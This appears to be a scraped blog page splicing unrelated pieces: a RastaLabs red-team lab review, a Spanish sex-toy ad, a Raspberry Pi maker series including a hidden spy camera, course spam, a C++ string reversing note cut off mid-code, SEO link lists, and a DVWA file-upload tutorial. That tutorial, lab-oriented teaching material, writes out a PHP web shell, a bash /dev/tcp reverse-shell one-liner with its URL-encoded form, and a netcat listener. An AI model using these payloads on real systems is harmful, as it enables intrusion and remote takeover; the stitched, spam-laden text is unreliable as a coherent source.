viernes, 8 de mayo de 2020

The RastaLabs Experience

Introduction


It was 20 November, and I was just starting to wonder what I would do during the next month. I had already left my previous job, and the new one would only start in January. Playing with PS4 all month might sound fun for some people, but I knew I would get bored quickly.

Even though I have some limited red teaming experience, I always felt that I wanted to explore the excitement of getting Domain Admin – again. I got my first DA in ˜2010 using pass-the-hash, but that was a loooong time ago, and things change quickly.
While reading the backlogs of one of the many Slack rooms, I noticed that certain chat rooms were praising RastaLabs. Looking at the lab description, I felt "this is it, this is exactly what I need." How hard could it be, I have a whole month ahead of me, surely I will finish it before Christmas. Boy, was I wrong.



The one-time fee of starting the lab is 90 GBP which includes the first month, then every additional month costs 20 GBP. I felt like I was stealing money from Rastamouse and Hackthebox... How can it be so cheap? Sometimes cheap indicates low quality, but not in this case.



My experience


Regarding my previous experience, I already took OSCP, OSCE, SLAE (Securitytube Linux Assembly Expert), and PSP (Powershell for Pentesters), all of which helped me a lot during the lab. I also had some limited red teaming experience. I had more-than-average experience with AV evasion, and I already had experience with the new post-exploit frameworks like Covenant and Powershell Empire. As for writing exploits, I knew how a buffer overflow or a format string attack worked, but I lacked practice in bypassing ASLR and NX. I basically had zero experience with Mimikatz on Windows 10. I used Mimikatz back in 2012, but probably not since. I also had a lot of knowledge on how to do X and Y, on useful tools and hot techniques, but I lacked recent experience with them. Finally, I am usually the last when it comes to speed in hacking, but I have always balanced my lack of speed with perseverance.

RastaLabs starts in 3,2,1 ...


So I paid the initial entry fee, got the VPN connection pack, connected to the lab, and got my first flag after ... 4 days. And there were 17 of them in total. This was the first time I started to worry. I did everything to keep myself on the wrong track, stupid things like assuming incorrect lab network addresses, scanning too few machines, finding the incorrect breadcrumbs via OSINT, trying to exploit a patched web service (as most OSCPers would do), etc. I was also continually struggling with the tools I was using, as I never knew whether they were buggy, or I was misusing them, or this is just not the way to get the flag. I am sure someone with luck and experience could have done this stage in 2-3 hours, but hey, I was there to gain experience.

During the lab, whenever I got stuck with the same problem for more than 30-40 hours and my frustration was running high, I pinged Rastamouse on the official RastaLabs support channel on https://mm.netsecfocus.com/. I usually approached him like "Hi, I tried X, Y, and Z but no luck", then he replied "yeah, try Y harder". This kind of information was usually all I needed, and 2-3 hours later I was back on track again. His help was always enough, but never too much to spoil the fun. The availability and professionalism of Rastamouse was 10/10. Huge multi-billion dollar companies fail to provide good enough support, this one guy here was always there to help. Amazing. I highly recommend joining the Mattermost channel – it will help you a lot to see that you are not the only one stuck with problems. But please do not DM him or the channel if you have not already tried harder.

What's really lovely in the lab is that you can expect real-world scenarios with "RastaLabs employees" working on their computer, reading emails, browsing the web, etc. I believe it is not a spoiler here that at some point in time you have to deliver malware that evades the MS Defender AV on the machine. Yes, there is a real working Defender on the machines, and although it is a bit out of date, it might catch your default payload very quickly. As I previously mentioned, luckily I had recent experience with AV evasion, so this part was not new to me. I highly recommend setting up your own Win10 with the latest Defender updates and testing your payload on it first. If it works there, it will work in the lab. This part can be especially frustrating, because the only feedback you get from the lab is that nothing is happening, and there is no way to debug it. Test your solution locally first.

Powershell Empire turned out to be an excellent solution for me, the only functionality it lacked was Port Forwarding. But you can drop other tools to do this job efficiently.

A little help: even if you manage to deliver your payload and you have a working C&C, it does not mean your task with AV evasion is over. It is highly probable that Defender will block your post-exploit codes. To bypass this, read all the blog posts from Rastamouse about AMSI bypass. This is important.

Lateral movement


When you finally get your first shell back ...



A whole new world starts. From now on, you will spend significant time on password cracking, lateral movement, persistence, and figuring out how Windows AD works.
In the past, I played a lot of CTF, and from time to time I got the feeling "yeah, even though this challenge was fun, it was not realistic". This never happened during RastaLabs. All the challenges and solutions were 100% realistic, and as the "Ars poetica" of RastaLabs states:



...which is sooooo true. None of the tasks involve any exploit of any CVE. You need a different mindset for this lab. You need to think about misconfigurations, crackable passwords, privilege abuse, and similar issues. But I believe this lab is still harder to own than 90% of the organizations out there. The only help is that there are no blue-teamers killing our shells.

About the architecture of the lab: When connecting to the lab with VPN, you basically found yourself in a network you might label as "Internet", with your target network being behind a firewall, just as a proper corporate network should be.
There are a bunch of workstations – Win10 only, and some servers like fileserver, exchange, DC, SQL server, etc. The majority of servers are Windows Server 2016, and there is one Linux server. The two sites are adequately separated and firewalled.

As time passed, I was getting more and more flags, and I started to feel the power. Then the rollercoaster experience started. I was useless, I knew nothing. Getting the flag, I was god. One hour later, I was useless.



For example, I spent a significant amount of time trying to get GUI access to the workstations. In the end, I managed to get that, just to find out I did not achieve anything with it. For unknown reasons, none of the frameworks I tried had a working VNC, so I set up my own, and it was pain.

On December 18, I finally got Domain Admin privileges. So my estimation to "finish the lab" in one month was not that far off. Except that I was far from finishing it, as I still had to find five other flags I was missing. You might ask "you already have DA, how hard could it be to find the remaining five?". Spoiler alert, it was hard. Or to be more precise, not hard, just challenging, and time-consuming. This was also a time when connections on Mattermost RastaLabs channel helped me a lot. Hints like "flag X is on machine Y" helped me keep motivated, yet it did not spoil the fun. Without hints like this, I would not have written this post but would have been stuck with multiple flags.

About exploitation


And there was the infamous challenge, "ROP the night away." This was totally different from the other 16. I believe this image explains it all:


If you are not friends with GDB, well, you will have a hard time. If you don't have lots of hands-on experience with NX bypass - a.k.a ROP - like me, you will have a hard time with this challenge. The binary exploit challenges during OSCP and OSCE exams are nowhere near as complex as this one. If you have OSEE, you will be fine. For this challenge, I used GDB-Peda and Python pwntools – check them out in case you are not familiar with them. For me, solving this challenge took about 40 hours. Experienced CTF people could probably solve it in 4 hours or less.

Conclusion


I would not recommend taking this lab for total beginners *. I also do not recommend doing the lab if you only have limited time per day, which is especially true if you are working on your home computer. I probably would have saved hours or even days if I had set up a dedicated server in the cloud for this lab. The issue was that the lab workstations were rebooted every day, which meant that I always lost my shells. "Persistence FTW", you might say, but if your C&C is down when the workstation reboots, you are screwed. "Scheduled tasks FTW", you might say, but unless you have a strict schedule on when you start your computer, you will end up with a bunch of scheduled tasks just to get back the shell whenever you start your computer. Day after day I spent the first hour getting back to where I had been the day before. And I just figured out at the end of the lab why some of my scheduled tasks were not working ...

I would be really interested to see how much time I spent connected to the lab. Probably it was around 200–250 hours in total, which I believe is more than I spent on OSCP and OSCE combined. But it was totally worth it. I really feel the power now that I learned so many useful things.

But if you consider that the price of the one-month lab is 20 GBP, it is still a very cheap option to practice your skills. 
* It is totally OK to do the lab in 6 months, in case you start as a beginner. That is still just 190 GBP for the months of lab access, and you will gain a lot of experience during this time. You will probably have a hard time reaching the point when you have a working shell, but it is OK. You can find every information on Google, you just need time, patience and willingness to get there.

Anyway, it is still an option not to aim to "get all the flags". Even just by getting the first two flags, you will gain significant experience in "getting a foothold". But for me, not getting all the flags was never an option.



If you are still unconvinced, check these other blog posts:

Or see what others wrote about RastaLabs.


Footnote


In case you start the lab, please, pretty please, follow the rules, and do not spoil the fun for others. Do not leave your tools around, do not keep shared drives open, do not leave FLAGs around. Leave the machine as it was. If you have to upload a file, put it in a folder others won't easily find. This is a necessary mindset when it comes to real-world red teaming. Don't forget to drop a party parrot into the chat whenever you or someone else gets a new flag. And don't forget:
OSCP has no power here. Cry harder!

I will probably keep my subscription to the lab and try new things, new post-exploit frameworks. I would like to thank @_rastamouse for this great experience, @superkojiman for the ROP challenge. Hackthebox for hosting the lab with excellent uptime.
As for @gentilkiwi and @harmj0y, these two guys probably advanced red-teaming more than everyone else combined together. pwntools from @gallopsled was also really helpful. And I will be forever grateful to Bradley from finance for his continuous support whenever I lost my shells.
Read more

Ten los Mejores Orgasmos con Orgie

Con los Vibradores Líquidos de Orgie, podrás alcanzar los Orgasmos más intensos, fuertes y apasionados!!

Te invitamos a visitar www.orgie-americas.com donde podrás ver además  la Línea más completa  de Aceites para masajes y Geles para Hombres y Mujeres… (Ganadora de 2 Premios a los Productos de Mejor calidad en la mayor Expo de Europa)

Intensifica tus grandes momentos de placer con Orgie..


Raspberry Pi Zero Para "Makers": 6 PoCs & Hacks Just For Fun (3 De 3) #RaspberryPi

Y para acabar esta serie dedicada a los "Makers", os traigo dos proyectos más que son de lo más interesantes. El primero de ellos para que los que habéis jugado en las primeras consolas de juegos, en las maquinitas, y habéis visto el origen de juegos míticos como Super Mario Bros o Zelda, podáis volver a tener todos en vuestras manos. El segundo, un práctico proyecto para tener una cámara de vigilancia que tú puedas construir y controlar.

Figura 22: Raspberry Pi Zero para "Makers": 6 PoCs & Hacks Just for Fun (3 de 3)

Al final, como podéis comprobar en estas tres partes de la serie dedicada a Raspberry Pi Zero, la cantidad de utilidades que pueden darse son casi ilimitadas, así que anímate a construir tus propios gadgets.

5.- MintyPi: Un emulador de bolsillo

Si eres un aficionado a los videojuegos clásicos como el Super Mario BrosDonkey Kong o Zelda hoy te enseñaremos cómo construir tu propio emulador de videojuegos utilizando la Raspberry Pi Zero y el software RetroPie. Hoy en día hacerse con una "consola vintage" y algunos cartuchos originales con juegos icónicos puede resultar bastante difícil y eso sin tener en cuenta los precios desorbitados que pueden llegar a alcanzar algunos de estos productos. Si no quieres gastarte una fortuna y te gustaría disfrutar de tus clásicos favoritos esta es tu mejor opción. Y si eres un "Maker" y te apetece divertirte, este es un proyecto digno de tu atención.

Comenzaremos hablándoos brevemente de RetroPie, este software te permitirá convertir cualquier modelo de Raspberry Pi en un emulador de videojuegos, está basado en Raspbian, Emulation Station y en otros proyectos similares que permiten jugar a juegos arcade, de consola o incluso de PC teniendo que realizar la mínima configuración posible.

Figura 23: Emulador de Super Nintendo corriendo en MintyPi 

Su instalación es muy sencilla y ofrece dos posibilidades, la primera de ellas es su instalación sobre una versión de Raspbian - sistema operativo de Raspberry Pi - y la otra opción es su instalación a través de una imagen de disco.

En cuanto a sus posibilidades de personalización RetroPie no se queda atrás, es posible instalar temas personalizados e implementar más de 50 sistemas de juegos distintos - se pueden tener instalados varios emuladores simultáneamente -, desde modelos como la Nintendo 64 o la SNES hasta la GameBoy Advance o algunas máquinas recreativas de Atari. En cuanto a los juegos, la única limitación que tendremos será el tamaño de la tarjeta Micro SD que utilicemos en la Raspberry Pi.

RetroPie también ofrece la posibilidad de utilizar distintos tipos de controles para nuestros juegos. Antes de comenzar el software detectará si hemos conectado un teclado o ratón o un mando se cualquier tipo por USB y nos ofrecerá la posibilidad de configurar los botones y los controles a nuestro gusto para disfrutar se nuestra experiencia de juego cómodamente, además si tu Raspberry Pi cuenta con BlueTooth podrás conectar los mandos inalámbricos de Play Station o Xbox.

Figura 24: Tu emulado en la televisión

Ahora que ya conocemos un poco más este software es el momento de introducirnos de lleno en el primer proyecto de hoy. El proyecto en cuestión recibe el nombre de MintyPi y consiste en construir nuestro propio emulador totalmente funcional (con batería, botones y pantalla) dentro de una caja de caramelos. En este caso necesitaremos reunir los siguientes componentes para realizar nuestro montaje:
+1 caja de caramelos Altoids 
+Raspberry Pi Zero W 
+Placa PCB con botones (lo ideal es comprar el Kit de MintyPi, pero también se pueden usar otros) 
+Pantalla de 2,4 " para Raspberry Pi 
+Kit de piezas impresas en 3D 
*Tarjeta de sonido USB 
+Altavoz de 20mm de diámetro y 3,5 mm de grosor 
+Modulo de carga de batería 
+Batería (puede servirnos una batería antigua de móvil) 
+Kit de botones de una Nintendo DS Lite 
+Cinta de doble cara 
+Tornillos de métrica 2 (4x3mm, 4x8mm y 6x4mm)
Si reunir todas estas piezas te resulta difícil o tedioso también puedes adquirir algunos kits como este de la tienda de Helder, del diseñador de la placa PCB de MintyPi. En cuanto al montaje al igual que en otros proyectos de los que os hemos hablado la mayor dificultad reside en soldar algunos componentes y en realizar un par de orificios en la parte trasera de nuestra caja de caramelos.

Figura 25: Mintypi lite PCB Kit

A continuación resumiremos brevemente el proceso de montaje, como en este caso el proceso es un poco más técnico os recomendamos seguir este tutorial detallado en el que también podréis encontrar un vídeo en el que se explica todo el proceso de montaje.


Figura 26: Tutorial de montaje de mintyPi

Lo primero que deberemos hacer es realizar los agujeros necesarios en nuestra caja de caramelos y colocar los dos botones físicos que irán en la parte trasera, después colocaremos las bases impresas en 3D sobre las cuales se montarán posteriormente el resto de componentes (para ello podemos utilizar cinta de doble cara o cualquier tipo de adhesivo).

A continuación montaremos la placa PCB sobre una de las placas de soporte impresas en 3D y la soldaremos a nuestra Raspberry Pi Zero. Hecho esto Introduciremos la tarjeta Micro SD en la que habremos cargado previamente el software de RetroPie y continuaremos conectando la pantalla, la tarjeta de sonido y el altavoz.

Por otro lado, tendremos que realizar el montaje de la batería y el módulo de carga, los cuales irán en la parte inferior de la caja para disipar mejor la temperatura y poder colocar los botones en la parte superior sobre la placa PCB. Una vez tengamos todo conectado entre sí solo tendremos que cubrirlo con las tapas impresas en 3D que se sujetaran utilizando tornillos.

6.- Zero Security Camera: Cámara de Seguridad /Espía

En el último proyecto de esta serie os explicaremos cómo construir una cámara de vigilancia totalmente funcional y que podremos visualizar desde nuestro smartphone. La Raspberry Pi Zero es una unidad con un tamaño muy reducido y que permite la implementación de gran variedad de sensores lo que la convierte en la plataforma ideal para la construcción de pequeños dispositivos de vigilancia, además ofrece varias alternativas en lo que a conectividad y alimentación se refiere. Para darle un toque más interesante a esta posible aplicación de la Raspberry Pi Zero. A continuación, os explicaremos cómo construir una cámara de vigilancia convencional y cómo construir una cámara espía inalámbrica.

Figura 27: Zero Security Camera

Para llevar a cabo la primera de las opciones expuestas anteriormente basaremos nuestro montaje en las cámaras de vigilancia falsas, también conocidas como cámaras Dummy. Estos dispositivos se pueden obtener en páginas como Amazon y Ebay o en la sección de electricidad de la mayoría de grandes superficies. Su construcción se basa en una carcasa vacía que contiene una lente (falsa) simulando ser una cámara de vigilancia funcional, en la mayoría de ocasiones también incorporan un diodo led alimentado con pilas y que parpadea para no levantar sospechas de ser un elemento puramente "decorativo". Para llevar a cabo este montaje necesitaremos los siguientes elementos:
+Raspberry Pi Zero (No es necesario que sea la W) 
+Módulo de cámara para Raspberry Pi
+Cable de cámara 
+Conversor de voltaje Mini Buck 
+Modulo LAN Micro USB 
+Tarjeta Micro SD (mínimo 8 GB) 
+Camara Dummy / carcasa de cámara 
+Cable ethernet
Lo primero será encontrar la forma de alimentar nuestro conversor de voltaje, este se alimenta directamente desde la GPIO utilizando dos pines (uno a 5 v y otro a tierra), una vez alimentado el módulo ya podemos conectar el cable de la cámara. Ahora deberemos conectar el módulo LAN, este cuenta con una entrada micro USB que reúne 8 cables de los cuales deberemos retirar la mitad ya que solo necesitaremos 4 de ellos.

El extremo del Micro USB se conecta directamente a la Raspberry Pi Zero. Con el trabajo más difícil hecho solo tendremos que vaciar nuestra cámara Dummy, colocar la lente en la parte delantera de la carcasa e introducir la Raspberry Pi Zero dentro. Para terminar, cogeremos el cable ethernet (CAT 5) y conectaremos los cables azul y azul-blanco al positivo y los cables marrón y marrón-blanco al negativo de las salidas que quedan libres del conversor de voltaje.

Figura 28: Conexiones en Zero Security Camera

Ya solo nos queda conectar el otro extremo del cable ethernet a nuestro router y colocar la cámara donde queramos (si buscas realizar una instalación limpia es recomendable que utilices varios metros de cable y algunas canaletas). Al utilizar un módulo LAN es importante tener en cuenta que este no tiene una única MAC, esto no supone un problema si solo conectamos una cámara a la red, pero sí que podría generar conflicto si añadiésemos otra posteriormente.

Figura 29: Cámara espía oculta en libro

Si por otro lado lo que buscamos es construir una cámara espía portátil nuestra mejor alternativa es optar por la versión con Wi-Fi de la Raspberry Pi Zero y evidentemente la carcasa en la que queramos colocar nuestra cámara dependerá del tamaño de la batería que utilicemos y el lugar en el que queramos ocultarla, por ejemplo, en un conducto de ventilación o dentro del típico libro que nadie ha leído y se encuentra en la estantería de nuestro despacho. En este caso los materiales necesarios serán los siguientes:
+Raspberry Pi Zero W 
+Módulo de cámara para Raspberry Pi 
+Cable de cámara 
+Tarjeta Micro SD (mínimo 8 GB) 
+Batería portátil
En este caso el montaje no tiene ningún misterio, solo tenemos que conectar el módulo de la cámara a nuestra Raspberry Pi Zero, utilizar el conector Micro USB para alimentarla con la batería portátil y conectarla a nuestra red Wi-Fi. En cuanto al software existen varias opciones para visualizar la cámara de nuestra Raspberry Pi Zero desde nuestro smartphone.

Figura 30: RPI-Cam-Web-Interface

Una de las mejores opciones es RPi-Cam-Web-Interface ya que cuenta con una wiki bastante completa en la que se detalla paso a paso todo el proceso de instalación y configuración además de una guía avanzada de uso que incluye trucos y consejos.

Solo es el principio...

Hemos llegado al final de esta serie, y si he conseguido animaros solo a uno de vosotros a comenzar a construir cosas y empezar el camino de los "Makers", me daré por satisfecho. Esto no es el final, solo es el principio de un montón de cosas que tienes por construir.


Autor: Sergio Sancho Azcoitia

***********************************************************************************
Raspberry Pi Zero para "Makers": 6 PoCs & Hacks Just for Fun (1 de 3)
- Raspberry Pi Zero para "Makers": 6 PoCs & Hacks Just for Fun (2 de 3)
- Raspberry Pi Zero para "Makers": 6 PoCs & Hacks Just for Fun (3 de 3)
***********************************************************************************

Related posts

Acciones y evidencia ante resultados críticos

Miércoles 13 de MAYO | Horario de 10:00 a 17:00 hrs.  |  (hora del centro de México)

- Guía paso a paso: Aplicación de la NOM 035, de la teoría a la práctica - Curso en Línea

¿De qué hablaremos?

Este taller brinda un panorama general de los requisitos estipulados por la STPS en la NOM 035, ayudando a los participantes
a identificar tanto aquellas prácticas que ya existen en la empresa como el tipo de mecanismos o programas a desarrollar para
cumplir con la norma. Durante la sesión, los participantes aprenderán a realizar las encuestas pertinentes, de acuerdo con el tamaño
de cada centro de trabajo, así como el análisis correspondiente para elaborar su programa de prevención y/o control de factores de
riesgo psicosocial, aprovechando los beneficios que la misma norma puede brindar a las organizaciones.

¿Qué aprenderás?:

- Será capaz de identificar los conceptos relacionados con la norma.
- Conocerá de manera general las normas relacionadas a la NOM 035, así como los requisitos base de cumplimiento de éstas.
- Podrá identificar claramente los requisitos de la norma aplicables para cada centro de negocio, así como los aspectos a cumplir
en 2019 y los requerimientos para 2020.


Solicita información respondiendo a este correo con la palabra NOM035 junto con los siguientes datos:

Nombre:
Correo electrónico:
Número telefónico:
Email Alterno:

Números de Atención:

(045) 55 15 54 66 30 - (045) 55 85567293 - (045) 5530167085

En caso de que haya recibido este correo sin haberlo solicitado o si desea dejar de recibir nuestra promoción favor de responder
con la palabra baja o enviar un correo a bajas@ innovalearn.net

Reversing C++ String And QString

After the rust string overview of its internal substructures, let's see if c++ QString storage is more light, but first we'r going to take a look to the c++ standard string object:



At first sight we can see the allocation and deallocation created by the clang++ compiler, and the DAT_00400d34 is the string.

If we use same algorithm than the rust code but in c++:



We have a different decompilation layout. Note that the Ghidra scans very fast the c++ binaries, and with rust binaries gets crazy for a while.
Locating main is also very simple in a c++ compiled binary, indeed is more  low-level than rust.


The byte array is initialized with a simply move instruction:
        00400c4b 48 b8 68        MOV        RAX,0x6f77206f6c6c6568

And basic_string generates the string, in the case of rust this was carazy endless set of calls, detected by ghidra as a runtime, but nevertheless the basic_string is an external imported function not included on the binary.

(gdb) x/x 0x7fffffffe1d0
0x7fffffffe1d0: 0xffffe1e0            low str ptr
0x7fffffffe1d4: 0x00007fff           hight str ptr
0x7fffffffe1d8: 0x0000000b        sz
0x7fffffffe1dc: 0x00000000
0x7fffffffe1e0: 0x6c6c6568         "hello world"
0x7fffffffe1e4: 0x6f77206f
0x7fffffffe1e8: 0x00646c72
0x7fffffffe1ec: 0x00000000        null terminated
(gdb) x/s 0x7fffffffe1e0
0x7fffffffe1e0: "hello world"

The string is on the stack, and it's very curious to see what happens if there are two followed strings like these:

  auto s = string(cstr);
  string s2 = "test";

Clang puts toguether both stack strings:
[ptr1][sz1][string1][null][string2][null][ptr2][sz2]

C++ QString datatype

Let's see the great and featured QString object defined on qstring.cpp and qstring.h

Some QString methods use the QCharRef class whose definition is below:

class Q_EXPORT QCharRef {
friend class QString;
QString& s;
uint p;
Searching for the properties on the QString class I've realized that one improvement that  rust and golang does is the separation from properties and methods, so in the large QString class the methods are  hidden among the hundreds of methods, but basically the storage is a QStringData *;

After removing the methods of QStringData class definition we have this:

struct Q_EXPORT QStringData : public QShared {
    QChar *unicode;
    char *ascii;
#ifdef Q_OS_MAC9
    uint len;
#else
    uint len : 30;

Memcrashed DDoS Exploit | Install | Github

Related news

  1. Hacking Etico Certificacion
  2. Grey Hat Hacking
  3. Fake Hacking
  4. El Mejor Hacker
  5. Curso De Hacking
  6. Paginas De Hackers
  7. Master Growth Hacking
  8. Curso De Growth Hacking
  9. Aprender Seguridad Informatica
  10. Curso De Hacking

Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Related articles


  1. Master Growth Hacking
  2. Rfid Hacking
  3. Bluetooth Hacking
  4. Nfc Hacking
  5. Como Aprender A Hackear Desde Cero
  6. Hacking Etico Que Es